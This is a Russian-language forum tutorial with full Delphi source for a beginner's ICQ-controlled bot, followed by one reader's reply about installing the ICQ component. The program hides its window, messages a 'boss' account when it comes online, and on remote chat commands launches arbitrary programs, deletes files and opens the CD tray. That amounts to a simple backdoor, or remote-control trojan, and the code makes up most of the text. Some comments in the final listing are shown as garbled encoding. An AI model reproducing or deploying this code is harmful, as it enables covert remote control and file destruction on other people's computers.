Решил напечатать мини статью по написании контроля сервера, с помощью асеки!!! Начнем!!! Я буду использовать delphi! Поехали!!!Открываем новый проект, на форму кидаем 3-TEdit, 2-Tbutton, 1-TicqClient В uses дописываем shellapi, и делаем процедуру клика буттонов!Получается как-то так: Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ICQClient, StdCtrls; type TForm1 = class(TForm) Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; Button1: TButton; Button2: TButton; ICQClient1: TICQClient; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; Смысл в контроле?Чтоб посылать боту определенные слова, и он их выполнял! Давайте напишем, что будет делать программа, при нажатии буттон 1! Но перед этим, объявите глобальную переменную boss integer! Code: implementation {$R *.dfm} var boss:integer; //Глобальная переменная procedure TForm1.Button1Click(Sender: TObject); begin IcqClient1.UIN := strtoint(Edit1.text); //Из первого едита берем уин бота IcqClient1.Password := Edit2.Text; //Из второго едита берем пасс от бота boss := strtoint(Edit3.Text); //Заполняем переменную босс главным уином их едит3 IcqClient1.Login(); //коннектимся.... end; Так теперь, надо чтоб как-то нас бот оповестил что он онлайн!!!Для этого нажмите по объекту IcqClient на форме, и в Object inspector перейдите во вкладку Events!Там есть процедура OnLogin, нажмите пару раз!!У вас должно получится так, в сурсе Code: procedure TForm1.ICQClient1Login(Sender: TObject); begin end; Пропишим-ка, чтоб он нам отправил - IcqClient1.SendMessage(boss,'Bot is online'); Прекрасно...Теперь если будет коннект, то нам пришлют сообщ Code: procedure TForm1.ICQClient1Login(Sender: TObject); begin IcqClient1.SendMessage(boss,'Bot is online');//отправим боссу то что бот онлайн! end; Так теперь пропишем процедуру button2click, я предлагаю сделать программу хайд! application.ShowMainForm := false; Code: procedure TForm1.Button2Click(Sender: TObject); begin application.ShowMainForm := false;//скроемся! end; Теперь самое главное, управление ботом!!!о5 нажмите на объект icqClient на форме, и перейдите во вкладку events, там есть процедура OnMessageRecv, нажмите пару раз!! Должно у вас в сурсе выглядеть так - Code: procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); begin end; Объявим переменную cmd строковой!var cmd:string; Теперь давайте составим комманды!! Code: *help - help *start - Это у нас будет стартовать проги *deletefile - это у нас будет удалять проги *Cd_open - открывает смдюк //для этого добавьте в uses MMSystem; *Cd_close - закрывает сидюк Давайте пропишем!!! Значит план, привоить cmd комманды, и ставить условия!Давайте пропишем первую смд! Code: cmd := msg; if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+ '*help - help'+#13#10+ '*start - Это у нас будет стартовать проги'+#13#10+ '*deletefile -это у нас будет удалять проги'+#13#10+ '*Cd_open - открывает смдюк '+#13#10+ '*Cd_close - закрывает сидюк'); Я думаю уже все поняли как строить запросы)Давайте по порядку!!!! Начнем со *start! Вот тут я думаю будет интересно!! Нам надо понять что это *start и какая-то прога!!Помнится есть copy() Code: if copy(cmd,1,pos(' ',cmd)-1) = '*start' Теперь давайте пропишем что должен делать!! Code: WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);//ОТкрываем прогу после пробела и до конца строки! IcqClient1.SendMessage(boss,cmd+' done');//Отправляем что гуд Теперь давайте *Deletefile принцип как и у *start Code: if copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then//Определяем смд begin deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));// удаляем фаил ! IcqClient1.SendMessage(boss,cmd+' done');//отправляем что гуд! end; Так у нас уже 3 комманды*help *start *deletefile Давайте уже пропишем чтоб закрывал сидюк и открывал.... Тут все просто просто если cmd = '*Cd_open' то открыть сидюк! Code: if cmd='*Cd_open' then begin mciSendString('Set cdaudio door open wait', nil, 0, handle);//открываем IcqClient1.SendMessage(boss,cmd+' done'); end; if cmd='*Cd_close' then begin mciSendString('Set cdaudio door closed wait', nil, 0, handle);//Закрываем IcqClient1.SendMessage(boss,cmd+' done'); end; Впринципе все смд, и весь бот, можно напписать кучу комманд- фантазия... Вот весь код! Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ICQClient, StdCtrls, MMSystem; type TForm1 = class(TForm) Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; Button1: TButton; Button2: TButton; ICQClient1: TICQClient; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); procedure ICQClient1Login(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} var boss:integer; //Ãëîáàëüíàÿ ïåðåìåííàÿ procedure TForm1.Button1Click(Sender: TObject); begin IcqClient1.UIN := strtoint(Edit1.text); //Èç ïåðâîãî åäèòà áåðåì óèí áîòà IcqClient1.Password := Edit2.Text; //Èç âòîðîãî åäèòà áåðåì ïàññ îò áîòà boss := strtoint(Edit3.Text); //Çàïîëíÿåì ïåðåìåííóþ áîññ ãëàâíûì óèíîì èõ åäèò3 IcqClient1.Login(); //êîííåêòèìñÿ.... end; procedure TForm1.Button2Click(Sender: TObject); begin application.ShowMainForm := false; end; procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); var cmd:string; begin cmd := msg; if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+ '*help - help'+#13#10+ '*start - Ýòî ó íàñ áóäåò ñòàðòîâàòü ïðîãè '+#13#10+ '*deletefile - ýòî ó íàñ áóäåò óäàëÿòü ïðîãè'+#13#10+ '*Cd_open - îòêðûâàåò ñìäþê //äëÿ ýòîãî äîáàâüòå â uses MMSystem;'+#13#10+ '*Cd_close - çàêðûâàåò ñèäþê'); if copy(cmd,1,pos(' ',cmd)-1) = '*start' then begin WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal); IcqClient1.SendMessage(boss,cmd+' done'); end; if copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then begin deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd))); IcqClient1.SendMessage(boss,cmd+' done'); end; if cmd='*Cd_open' then begin mciSendString('Set cdaudio door open wait', nil, 0, handle); IcqClient1.SendMessage(boss,cmd+' done'); end; if cmd='*Cd_close' then begin mciSendString('Set cdaudio door closed wait', nil, 0, handle); IcqClient1.SendMessage(boss,cmd+' done'); end; end; procedure TForm1.ICQClient1Login(Sender: TObject); begin IcqClient1.SendMessage(boss,'Bot is online'); end; end. (с)opyright by t3zo P.S. Писал 2часа статью, надеюсь вы по достоинству оцените!!!Ваш t3zo... Статья для новичков...
не много не по теме... Не могу поставить компонент...точнее поставил его но вкладка IcqClients не появилась... Ставил раньше компонент было все норм(потом переустановил делфи). Пробовал удалять и ставить компонент заного, не помогло. Хотя видно что копмонент стоит. ----------------------------- добавлено через 10 сек нашел компанент в samples без значка